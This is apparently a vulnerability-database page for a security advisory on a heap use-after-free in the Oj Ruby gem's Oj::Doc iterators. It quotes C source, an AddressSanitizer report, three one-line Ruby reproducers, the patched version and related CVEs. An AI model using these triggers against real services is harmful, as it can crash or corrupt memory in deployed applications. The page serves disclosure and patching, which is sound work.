CVE-2026-54897High▾ TwilightOj: Use-After-Free in Oj::Doc Iterators via Reentrant Close
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 4.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.1%
0.1% → 0.2%
Oj::Doc iterators (each_value, each_child, each_leaf) are vulnerable to a heap use-after-free. When a Ruby block yielded during iteration calls doc.close or d.close, the document's heap memory is freed while the C iterator is still running. When control returns from the block, the iterator reads from the freed region, producing a use-after-free accessible from pure Ruby.
ext/oj/fast.cThe iterators in ext/oj/fast.c follow the pattern:
// fast.c:1505 (doc_each_child)
static VALUE doc_each_child(VALUE self, ...) {
...
while (cur != NULL) {
rb_yield(...); // ← Ruby block executes here
cur = cur->next; // ← cur is now freed if block called close()
}
}
rb_yield can invoke arbitrary Ruby code, including calling close() on the Doc or any child node, which calls ruby_sized_xfree on the backing buffer. On return, the C code reads cur->next from the freed region. All three iterators are affected.
ASAN report (each_child variant):
==253632==ERROR: AddressSanitizer: heap-use-after-free on address 0x5210000bd080
READ of size 8 at 0x5210000bd080 thread T0
#0 doc_each_child /ext/oj/fast.c:1505
0x5210000bd080 is located 896 bytes inside of 4064-byte region [0x5210000bcd00, 0x5210000bdce0)
freed by thread T0 here:
#0 free
#1 ruby_sized_xfree (libruby-3.3.so.3.3)
All three iterators trigger the same freed region (fd shadow bytes):
0x5210000bd080:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
require 'oj'
# each_child
Oj::Doc.open('[1,2]') { |doc| doc.each_child { |d| d.close } }
# each_value
Oj::Doc.open('[1,2]') { |doc| doc.each_value { |v| doc.close } }
# each_leaf
Oj::Doc.open('[1,[2]]') { |doc| doc.each_leaf { |d| d.close } }
oj < 3.17.2Upgrade to a patched release:
oj 3.17.3Connected by shared product, vendor, weakness, or advisory.
CVE-2026-54899HighOj: Use-After-Free in Oj::Parser Symbol Key Cache Toggle
CVE-2026-54898HighOj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation
CVE-2026-54900HighOj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling
CVE-2026-54901HighOj: Use-After-Free in Oj::Parser array_class/hash_class GC Marking
CVE-2026-54902HighOj: Use-After-Free in Oj::Parser SAJ Long Key Callback
CVE-2026-54502HighOj: Stack Buffer Overflow in Oj.dump via Large Indent